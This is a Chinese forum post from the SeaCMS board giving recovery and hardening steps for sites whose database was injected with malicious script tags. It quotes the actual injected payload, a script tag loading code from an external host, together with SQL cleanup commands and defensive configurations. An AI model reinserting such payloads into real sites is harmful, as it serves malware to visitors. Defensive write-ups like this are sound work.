『大发网盟』

收益高、结算快、超稳定,直营无中间商差价

『1866资源网』

全网最早的资源,实力雄厚,速度超快,超稳定

『78免费网盘』

永久免费的多媒体转码与云分发平台,无限存储

『209资源网』

全网唯一一家全亚洲服务器加速播放,速度超快

『推荐模板服务商』

海洋CMS官方推荐可信赖模板制作服务商家

★〓★海洋CMS★〓★ 数据库挂马防范及恢复方法(2019.8.8 更新)

nohacks 7月前 9113

*标题:★〓★海洋CMS★〓★ 数据库挂马防范及恢复方法

*链接:https://www.seacms.net/post-update-90557.htm

*版本 :v1.2

*作者:nohacks(nohacks.cn)

*版权:目前只发表在海洋CMS论坛及作者博客,未经作者许可不得转载或做商业用途!

更新记录

   2019.8.2 更新读写分离

前言

        这些日子,不清楚什么状况,海洋CMS貌似被黑客盯上了,针对它的攻击非常频繁,作者虽然也是及时更新,但是在找不出漏洞的情况下,很多站点还是不幸躺枪,包括本文作者的网站,针对这一情况,作者作了大量的研究工作结合网友的经验,特写此文以望给大家解忧,希望我做到了,谢谢大家!

正文:

  目录:

   1. 恢复方法

   2. 防范方法

     2.1  升级到最新版本

     2.2  修改数据库密码

     2.3  删除安装目录

     2.4  数据库的所有数据表引擎转为InnoDB(可略)

     2.5  开启网站防火墙(可略)

     2.6   限制文件权限

     2.7   服务器安装防护软件(可略)

     2.8   限制数据库权限(可略)

     2.9   修改数据库字段结构长度(可略)

    2.10  利用SQL触发器实现安全过滤来防止挂马

     待续。。。

1.  恢复方法

首先了解一下SQL的搜索替换命令,

update [表名] set 字段名 = replace(与前面一样的字段名,'原本内容','想要替换成什么')

检测数据库,发现是在sea_data表,v_pic字段后面插入了下面代码:

"></script<script/**/src=https://www.qiuxiazx.com/data/velists.txt</script><a a="

可以通过查看网页源码("view-source:https://www.xxx.com"),搜索 "<script" 找到代码。

恢复数据方法,执行以下SQL语句:

update sea_data set v_pic = replace(v_pic,'"></script><script/**/src=https://www.qiuxiazx.com/data/velists.txt></script><a a="','')

2. 防范方法

    为了防止再次被入侵,我们必须做好下面措施:

2.1 升级到最新版本

       最新版本一般修复了最新漏洞,需要及时更新。

2.2 修改数据库密码

      修复后一定要修改数据库密码,攻击者可能已经获取数据库密码,修改后记得同步"/data/common.inc.php" 的SQL配置,不然网站无法使用。

2.3  删除安装目录(install)

       攻击者可利用安装目录进行攻击,所以安装完后务必删除。

2.4   数据库的所有数据表引擎转为InnoDB

       将数据库所有数据表引擎转为InnoDB,进一步加强安全性,宝塔-数据库-工具-MYSQL工具箱。

2.5 限制文件权限为只读

       缓存设置为使用redis,设置网站根目录权限为只读权限 555,需要生成时设置 为755,完成后改回。

   

     设置xml及uploads目录的读写权限为755。

      js目录有需要也可设置为755权限,关系到广告生成及修改播放代码。

      data目录下的文件为配置文件,为了安全,系统设置完毕后也设置权限为555,子目录为数据保存或缓存目录可设置为755权限。

2.6. 开启网站防火墙(可略)

       这里只说下宝塔面板的设置,其他请自行查阅。

       网站web服务建议使用nginx,这样可以免费使用其内置的lua防火墙,使用方法是修改配置文件,找到下面的代码:


http
    {
        include       mime.types;
	//include luawaf.conf;


去掉前面的注释符号 , 修改后变为:

http
    {
        include  mime.types;
	include luawaf.conf;


保存配置,然后修改其配置文件"/www/server/nginx/waf/config.lua",修改后如下:

RulePath = "/www/server/panel/vhost/wafconf/"
attacklog = "on"
logdir = "/www/wwwlogs/waf/"
UrlDeny="on"
Redirect="on"
CookieMatch="on"
postMatch="on" 
whiteModule="on" 
black_fileExt={"php","jsp"}
ipWhitelist={"127.0.0.1"}
ipBlocklist={"1.0.0.1"}
CCDeny="on"
CCrate="300/60"

 表示开启所有防护,保存后重启nginx服务生效。

 如果嫌麻烦,可以用收费插件。

2.7 服务器安装防护软件(可略)

      宝塔建议云锁。

2.8. 数据库读写分离(可略)

  2.8.1. 创建数据库只读账户

        宝塔-数据库-管理 -用root账户登陆-账户- 新增用户账户

 登陆信息:

      user name :  使用文本域 ,新用户名

     Host name:      本地    localhost

      密码使用生成密码 记住密码

 全局权限:

     只打钩 SELECT

 其它默认,点执行,然后切换到'数据库'选项卡,选择海洋cms数据表,执行

   然后会再跳到指定数据库权限,也只打钩 SELECT 执行

完成后,点击账户,修改我们刚刚创建的账户,将文本域改为"127.0.0.1" 执行。

这样就创建OK了

 2.8.2 .创建只读配置

    <1> 复制"/data/common.inc.php"并重命名为'data.inc.php'

    <2> 修改"/data/common.inc.php",将其中的"cfg_dbuser"后面引号内的账号修改为我们创建的只读账号,同样将"$cfg_dbpwd"后面引号内的密码修改为刚创建的密码,保存。

 2.8.3.修改数据库调用代码

        打开 "include/common.php",找到代码

//数据库配置文件
require_once(sea_DATA.'/common.inc.php');

修改为:

//数据库配置文件
//require_once(sea_DATA.'/common.inc.php');
//设置允许读写数据库的脚本文件
$filekey=array('config.php','login.php','exit.php','ajax.php','err.php','gbook.php','admin_reslib.php','admin_reslib2.php');
//智能加载
require_once sea_DATA.((preg_match('#.*/(.*?\.php)#i',htmlentities($_SERVER['PHP_SELF']),$ref) && in_array($ref[1],$filekey)) || isset($uip) ? '/data.inc.php':'/common.inc.php');

这样修改后,只有后台,统计,留言, 采集可以更新数据库。

 2.9.修改数据库字段结构长度(可略)

      海洋CMS数据库表"sea_data"字段 "v_pic"原结构长度为255 ,修改为char类型  110 或者 更低,看自己的图片长度而定。

      这样操作后,挂马者添加木马数据时将会因为长度超出数据库结构限制而失败!

2.10  利用SQL触发器实现安全过滤来防止挂马

        使用了这个方法后,"数据库读写分离"的步骤可以省略。

       宝塔-数据库-管理 -用root账户登陆

    选择海洋CMS数据库的sea_data表,选择右上角的触动器,添加触发器

      如下图:



触发器名称:chack

表:sea_data

时机:BEFORG

事件:UPDATE

定义: 

IF 
   INSTR( NEW.v_name,'script')> 0   OR 
   INSTR( NEW.v_pic,'script')> 0    OR
   INSTR( NEW.v_actor,'script')> 0
THEN
  SIGNAL SQLSTATE 'HY000' SET MESSAGE_TEXT = '请勿输入非法字符';
END IF

用户: 默认或为空

点击执行。

我们来测试一下:

update sea_data set v_name = '憨豆特工 script' WHERE v_id=1


==============

正文完  

 2019.8.2  by  nohacks  

测试站点: https://xymov.tv 

待续。。

最后于 3月前 被nohacks编辑 ,原因: 更新 数据库读写分离 修复bug
上传的附件:
最新回复 (1)
  • 0 1
    加油你是最棒的!
返回
发新帖